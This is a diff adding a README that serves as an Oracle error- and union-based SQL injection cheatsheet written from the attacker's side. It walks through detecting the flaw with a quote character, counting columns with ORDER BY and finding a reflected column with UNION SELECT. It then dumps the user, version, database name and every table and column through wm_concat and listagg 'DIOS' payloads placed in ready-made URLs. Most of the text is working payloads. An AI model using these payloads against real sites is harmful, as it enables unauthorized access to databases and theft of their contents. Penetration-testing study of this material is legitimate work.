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Oracle - Error Union\Based SQLi/README.md

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+# Oracle Error/Union based SQL Injection Cheatsheet
+Using this technique, an attacker can enumerate and potentially dump the Oracle database by using the SQL queries.
+
+## Detecting the vulnerability
+
+The most common way to detect a SQLi vulnerability, is by inserting a **'** in the end of GET/POST parameter value:
+`http://domain.com/index.php?id=1'`  
+
+If vulnerable, the website might show an SQL syntax error. This is a good sign that you are dealing with **Error-based SQL injection**:
+![error_based_sql_vulnerability](https://i.imgur.com/lnUslML.jpg)
+
+Sometimes no error pops up, but if your naked-eye is somehow trained and experienced, you might see visual differences on the website response. Content-Length of the response might change (website might not fully load up). This is a good sign of **Union-based or Blind-based SQL Injection**.
+
+## Find the number of columns using 'ORDER BY' query
+Now that we performed an SQL syntax error to the website, we can begin fuzzing and finding how many columns do we have by using ORDER BY.
+
+`http://domain.com/index.php?id=1' order by 1-- -`
+This query musn't shows up error, the website MUST load successfully, since there is no lower number than 1. If the error still persists, try removing the **'** since it breaks the SQL query:
+`http://domain.com/index.php?id=1 order by 1-- -`
+
+Now it is time to find the correct number of columns. Now let's use the payload that worked, and try increasing the number by 1, untill an error shows up:
+
+`http://domain.com/index.php?id=1 order by 1-- -` no error  
+`http://domain.com/index.php?id=1 order by 2-- -` no error  
+`http://domain.com/index.php?id=1 order by 3-- -` no error  
+`http://domain.com/index.php?id=1 order by 4-- -` no error  
+`http://domain.com/index.php?id=1 order by 5-- -` no error
+`http://domain.com/index.php?id=1 order by 6-- -` no error
+`http://domain.com/index.php?id=1 order by 7-- -` no error
+`http://domain.com/index.php?id=1 order by 8-- -` error
+
+This means there are only 7 columns. Now we have to find which one of these 7 columns have information.
+
+## Find the vulnerable column where information are stored using 'UNION SELECT' query
+
+Using a simple query, we determine which of the 7 columns reflect our input using. In **UNION SELECT** queries, you have to put **null** as many times as we found the number on **ORDER BY** (this case: 7).
+
+`http://domain.com/index.php?id=1' Union Select null, null, null, null, null, null, null from dual-- -`
+
+If the website loads up successfully (no error must be displayed), it means that we are using the right syntax (without breaking the vulnerable query used by the website). 
+
+Great, let's find which column is reflecting data. To do that, we have to replace each **null** by integer surrounded by **'**. We have to replace each **null** one by one untill a number is being reflected on the website. For example: 
+
+`http://domain.com/index.php?id=1' Union Select '1', null, null, null, null, null, null from dual-- -` not reflecting
+`http://domain.com/index.php?id=1' Union Select '1', '2', null, null, null, null, null from dual-- -` not reflecting
+`http://domain.com/index.php?id=1' Union Select '1', '2', '3', null, null, null, null from dual-- -` not reflecting
+`http://domain.com/index.php?id=1' Union Select '1', '2', '3', '4', null, null, null from dual-- -` not reflecting
+`http://domain.com/index.php?id=1' Union Select '1', '2', '3', '4', '5', null, null from dual-- -` number 5 is being displayed on the website.
+
+We found that the 5th column is reflecting our input. This will be where our DIOS payload or dumping query will be inserted into.
+
+## Dumping data
+
+Some really basic queries to use for dumping the user and the Oracle version:
+```sql
+user
+(select banner from v$version where rownum=1)
+```
+
+`http://domain.com/index.php?id=1' Union Select '1', '2', '3', '4', (select banner from v$version where rownum=1), null, null from dual-- -`
+
+Use **||** if you want to include more than 1 query while dumping:
+`http://domain.com/index.php?id=1' Union Select '1', '2', '3', '4', user || '<u>You can also insert HTML code</u>'||(select banner from v$version where rownum=1), null, null from dual-- -`
+
+Retrieving the database name: 
+```sql
+(select sys.database_name from dual)
+(SELECT instance_name FROM V$INSTANCE)
+SYS.DATABASE_NAME
+```
+
+Dumping the whole database with DIOS
+
+For Oracle 11g or older you can use **wm_concat** function:
+```sql
+(select wm_concat('<li>'||table_name||':'||column_name)from(select rownum as rnum, table_name, column_name from all_tab_columns order by table_name desc) shell where rnum<120)
+```
+
+For Oracle version newer than 11g, **listagg** function is used instead:
+```sql
+(select listagg('<li>'||table_name||':'||column_name)from(select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120)
+```
+```sql
+(select LISTAGG(table_name,'<li>') within group (ORDER BY table_name) from all_tables)
+```
+
+The following query shows the inserted DIOS into the 5th (and vulnerable) column as a reference:
+`http://domain.com/index.php?id=1' Union Select '1', '2', '3', '4', (select listagg('<li>'||table_name||':'||column_name)from(select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120), null, null from dual-- -`
+
+If everything goes as it should be, all the tables and columns should be displayed on the website.